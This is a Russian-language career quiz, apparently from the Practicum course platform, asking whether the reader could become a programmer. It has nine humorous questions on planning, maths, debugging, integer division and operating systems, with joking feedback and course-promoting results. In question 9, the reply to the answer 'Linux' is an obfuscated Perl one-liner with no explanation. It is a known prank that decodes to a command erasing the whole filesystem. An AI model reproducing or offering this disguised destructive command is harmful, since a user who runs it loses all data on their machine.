9 вопросов
Получится ли у вас стать программистом?
Обычно кажется, что программистами становятся либо те, кому хорошо даются точные науки, физмат и всё такое, либо те, кто с рождения легко настраивал компьютеры, переустанавливал Windows и собирал сам технику. Но в жизни всё иначе: программистами становятся те, кому интересно придумывать и создавать что-то новое, а для этого необязательно всё время жить в окружении компьютеров. Многие вообще пришли в разработку из гуманитарных сфер и сейчас с удовольствием пишут код. Пройдите этот тест, чтобы узнать, получится ли у вас стать классным программистом и вообще разбираться во всём этом.
1/9
Как вы организуете свои дела?
Есть список задач на день, приоритеты и вот это всё
Кайф. Слова настоящего программиста.
Смотрю, что срочно прилетает в чаты, и сразу начинаю делать
А вы случайно не продакт-менеджер?
Никак особо не организовываю, но всё успеваю без напряга
Отличное качество, немного завидуем!
2/9
Представьте, что вам нужно собрать ребёнка в школу. Как поступите?
Составлю список покупок, часть согласую с ребёнком и поеду в магазин
Чувствуется, что у вас большой опыт в решении сложных задач.
Спрошу у других родителей, как это делают они, и сделаю так же
Посмотреть, как делают другие, и использовать готовое решение — классика разработки
Подожду, пока он сам выяснит в школе или у друзей, что ему там нужно
Тоже вариант, но к дедлайну можно и не успеть.
3/9
Зайдём с козырей: как у вас с математикой?
Зачем, есть же калькуляторы?
Действительно. Но в разработке без знания хотя бы простой математики будет сложновато.
Помню школьную программу, но не больше
А для начала больше и не нужно.
Всё отлично, а что надо-то?
Вот! Идеальный ответ грамотного программиста.
4/9
Вы пишете код, запускаете, а он выдаёт ошибку. Ваши действия?
Почитаю документацию
Проверенный и рабочий способ, одобряем.
Перейду к следующей задаче, а эту отложу, вдруг потом уже не нужно будет делать
Иногда такое срабатывает, иногда нет. Но рабочий код всё равно писать нужно.
Посмотрю, как с этим справились в интернете
Хе-хе, классика.
5/9
Вам по работе нужно составить отчёт, для которого нужно много разных данных. Есть помощник, который может собрать эти данные. Как сформулируете задачу для него?
Собери мне нужные данные для отчёта к обеду
Ну, так тоже можно, но за результат мы не уверены.
Сходи в бухгалтерию, возьми у них поквартальные таблицы, начиная с января прошлого года, и в отделе маркетинга возьми данные по продажам за этот же период. И уточни у них, финальные цифры в последнем квартале или нет
Даже добавить нечего.
Мне нужны поквартальные таблицы по расходам и данные по продажам для отчёта за последние два года
В программировании часто всё точно так же: вызываем внешние функции, а как они там будут работать — нам без разницы, главное, чтобы результат был.
6/9
Что лучше — оливки или маслины?
Это же одно и то же
Точный и уверенный ответ типичного разработчика.
Конечно, оливки!
А почему не маслины?
Конечно, маслины!
А почему не оливки?
А что значит «лучше»?
Хороший вопрос. Узнать заранее критерии — здравый подход в ИТ.
7/9
Есть целочисленный тип данных Integer. Можно ли в такую переменную положить результат деления 10 на 3?
Можно, это же компьютер, он всё может
Он, конечно, всё может, но иногда просто не знает, что именно от него хотят.
Дробь в целочисленную переменную? Серьёзно?
Расслабьтесь, мы видим, что вас не проведёшь.
Смотря что будет результатом деления: общий результат, целая часть или остаток
Бинго!
8/9
Сколько теннисных мячиков поместится в трёхлитровую банку?
А сколько надо по ТЗ, чтобы поместилось?
Узнаём опытных программистов.
Зависит от того, можно будет их давить или нет
Тестировщики мысленно жмут вам руку.
Сейчас возьму банку, мячики и посчитаю
Быстро собрать рабочий прототип и проверить идею на практике — признак хорошего программиста.
9/9
Что лучше для программиста — Windows или macOS?
Linux
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Смотря для чего, какой стек разработки
Хороший вопрос.
Ставим VS Code — и пофиг, какая там операционная система
Действительно, в большинстве случаев так и есть.
Я не разбираюсь, просто включаю компьютер, а дальше оно как-то само работает
Честность — это хорошо.
Результат
В ИТ вы будете хорошим менеджером
В ИТ нужны не только разработчики — здесь работают менеджеры, продакты, аналитики, дизайнеры и много других специалистов. Выберите любую профессию по душе и тоже приходите в ИТ: будете управлять программистами или создавать вместе с ними что-то новое!
Результат
Батенька, да вы талант!
Судя по ответам, у вас всё в порядке с программистским мышлением и подходом. Если сомневаетесь, идти в разработку или нет, — не сомневайтесь, вы справитесь. Приходите в Практикум, выбирайте направление, которое нравится, и вперёд!
Результат
А вы, случаем, не программист?
Кажется, что вы отвечали на все вопросы в перерывах между написанием кода и изучением новых библиотек. Если это не так — срочно исправляйте, у вас прекрасные перспективы в разработке! Выбирайте курс Практикума по душе и стартуйте бесплатно.
